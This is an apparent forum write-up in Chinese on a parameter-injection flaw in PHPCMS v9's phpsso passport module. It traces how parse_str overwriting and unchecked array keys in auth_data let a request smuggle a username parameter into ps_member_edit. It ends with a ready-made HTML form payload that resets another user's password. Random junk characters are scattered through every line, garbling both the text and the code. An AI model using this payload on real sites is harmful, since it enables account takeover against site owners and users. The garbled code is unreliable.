提到的通行证的代码:$ u4 }& I2 x, ?" r
4 ~" n% ?6 h9 X& K+ Y7 K1 i1 E& X- O4 L
' q! J# y! V; t# lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
2 R& s! x8 ^8 ^/ K0 w8 T$ x* J4 b
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。/ w" S3 ~/ A3 ?' ~ N; X3 L
- J) t/ p- b2 a J/ u0 C2 H1 O! {$ [
我把它留给了你们。
4 z' R \/ K1 d不知道你们发现了它没有。
2 q5 n7 E3 Q5 C% j9 I
" T5 O0 w: d- _3 N! _' V; \2 k7 G我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
, @7 G/ w9 ?- K& O. u
* ~. G0 q5 m( y! B3 R1 j所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。5 i2 E# L6 G+ R2 N! g7 Z# q+ m, f
/ z* A/ Q' {7 `& Q/ I5 K: s也就是
# \! M' C1 g. J4 P8 S( d, V0 g- q, x! \* r+ x' L
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。3 e0 W& W1 f- H, X3 M
, Z3 I7 b0 C. e1 |3 ?8 R
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。- S/ u' V3 H" \% W
" B- k) t3 o6 @: b5 A
% e% ]1 i( [, V- V. H. Z3 ^, k5 v其实我们有这样的机会,看看代码,如下:
9 R! y! Y( P! v1 K$ W1 n2 b/ B( I+ h
+ [' [1 ~" w8 g; q; ]: r/ L$ qpublic function auth_data($data) {+ i; `1 r5 I3 U" B7 H
$s = $sep = '';7 \: h, r P1 X+ _ m/ K
foreach($data as $k => $v) {) l* C) q e8 c) G6 S4 n2 Y! q: t
if(is_array($v)) {0 y% i/ B2 [; @ B6 q! D6 @2 p! _1 P. q
$s2 = $sep2 = '';7 \1 r3 [+ G, p1 _( U+ R3 z6 D; F
foreach($v as $k2 => $v2) {
$ l/ r; r$ y: @. ]& r3 A" f: i# [ $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
7 x$ L7 k$ s' [3 E& f6 n4 s3 N $sep2 = '&';
/ ~4 ^7 P; V2 | }
! G, O& Z9 D+ T: a! y $s .= $sep.$s2;" z. o/ T( U+ J" ~
} else {: N' W2 N2 b* |1 x/ U
$s .= "$sep$k=".$this->_ps_stripslashes($v);, M# @2 v3 p/ }: C$ ?
}
# V& [; D. E' {6 p0 K [, m1 I7 j $sep = '&';+ Y. f4 R+ E0 E3 U& N9 Y
}
0 h8 d( ]6 h& y% s. o! K8 W: h y! y. w& z. X& }/ f
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
" _, n$ u, p* P5 Q; r+ g* h* ` return $auth_s;# M$ ^( X7 `. X. b* W
}& W% [+ E7 ~) M1 _0 y
+ M+ B9 ?& }7 N/ R% Z6 B6 O
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。6 r& S4 ]2 ^$ k& b8 r
' g: G T3 z5 g/ G
举个例子
9 z0 Q9 K; n m% i" @" O5 L+ d- ~) l7 K. Z8 | ?/ L
$a[aaa=a&bbb] = 'a';0 J- u8 K/ v, V* u9 J0 l
/ u) {& {- w! Q' P0 ~: H' V6 Y
会变成aaa=a&bbb=a
/ G8 D$ g s1 s' F0 B; t6 ~2 V1 H
% t6 e3 T; {) _6 R$ u7 J明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。1 G8 o0 F/ `1 B* ^
' |) ?) u. K }这个时候,我们可以再去看一个函数。
4 W$ g9 R( b& y! |; J( y+ W- |4 ?
就在这个文件内:/ V9 p% ^. u* ]" @( @
1 d0 v7 S% p6 a0 ^( \' s3 z
, |! w! H# z4 K/ C' ?1 rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {9 P, q& o: E8 P" @3 B) a* M7 Y
if($email && !$this->_is_email($email)) {
2 w' e- o5 z, H return -4;4 ^4 g7 @; P* {
}2 \& L s" z n8 {: \% I% a' h7 Y
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));" M7 i" g. \" I( l' W* w
}+ B' W) |6 a- ?: N4 T: d
+ ^$ I6 f/ V9 I+ m! @这是向通行证发了这样一个请求。0 V7 i C8 m$ R3 g/ l
3 d3 l" m; b/ {我们再跟到通信证代码里去看看,就会有所发现。% ^; b! p: i: `
! M& n, u' L) W% V# c. D( u4 C5 H* ~ u
public function edit() {: C3 D" v7 c5 R- T* J
//能省就省,太长了不是吗?
& ]4 Z1 U* ~# i/ U" A" {2 e c
2 a9 X2 @0 O% {' z6 J3 O3 w4 vif($this->username) {
% K3 H7 k( J: g Y) [2 W* p//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. O8 p, k* J/ _- d6 D- L $res = $this->db->update($data, array('username'=>$this->username));
0 t7 |) _( @9 w } else {& G2 V& M9 w6 e" b
file_put_contents('typeb.txt',print_r($data,1).$this->uid); r# l; D2 a @. M# z2 p
$res = $this->db->update($data, array('uid'=>$this->uid));/ R1 }. \8 W' u; {' P- S6 h4 Q/ ^3 V
}$ h. k' |7 ]( S" C$ `$ U B. m
, d4 A; F% ?1 t4 a- p
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:9 k! a/ P/ d; R+ O8 f
) p2 A0 q0 d" R5 _; hpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
5 c: H+ R, N1 j7 V
, ~( i; Y2 p3 _! O1 {! g% u7 ?很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。! \- N0 }2 m6 C, ?& i
: c1 t2 U$ u: P/ a我当然找到了: |, `+ A/ H x3 n2 n/ Z
phpcms9/phpcms/modules/member/index.php# a) f' H5 q5 y( y' h
( E& e* V4 S1 y' d% d. p e6 e% v
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
( x" G5 [% K6 {# Q+ @9 X3 ]
7 D% _$ m0 y. V, k8 j8 M然后就没有然后了。3 M* a ^% W: p0 N
8 T- T7 G2 u& D G<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
' Z. R- y( i- ^. M U3 Y w( B <table width="100%" cellspacing="0" class="table_form">
1 `+ P) I7 T* v- [7 N7 } <tr>" K+ Z; H3 N# J* L# _; x4 b
<th width="80">邮箱:</th> % c' P" i! b" N3 c+ B3 T0 F
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: L' u6 J. Z* ?; X0 D @8 @: P
</tr>" A: x4 J5 Q& U. b8 H. T
<tr>2 I4 ^+ U7 \; E! `
<th width="80">原密码:</th> : c" }: v' H, V2 s
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
. Q$ d1 \ Q9 b: [ </tr>5 i9 ?' D) }! `0 u$ _. g5 y
<tr>
9 |. L5 e( o6 E" K* r <th>新密码:</th>; q! U" l+ P$ _& S9 Q m1 o
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
0 [% b$ E* g6 j" p* n# I8 |! o </tr>6 }4 Q8 S; u5 H7 k4 b7 N( {
<th></th>
" \; n; E! `( f5 P <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>8 v/ u* H% o7 F( F7 f3 T
</tr>
6 }4 X {% F& v </table>
3 @2 g J& w2 S
2 y/ X/ x: J2 V : u0 s0 y8 J M b y. ^
</form>
) W% F O" v1 S |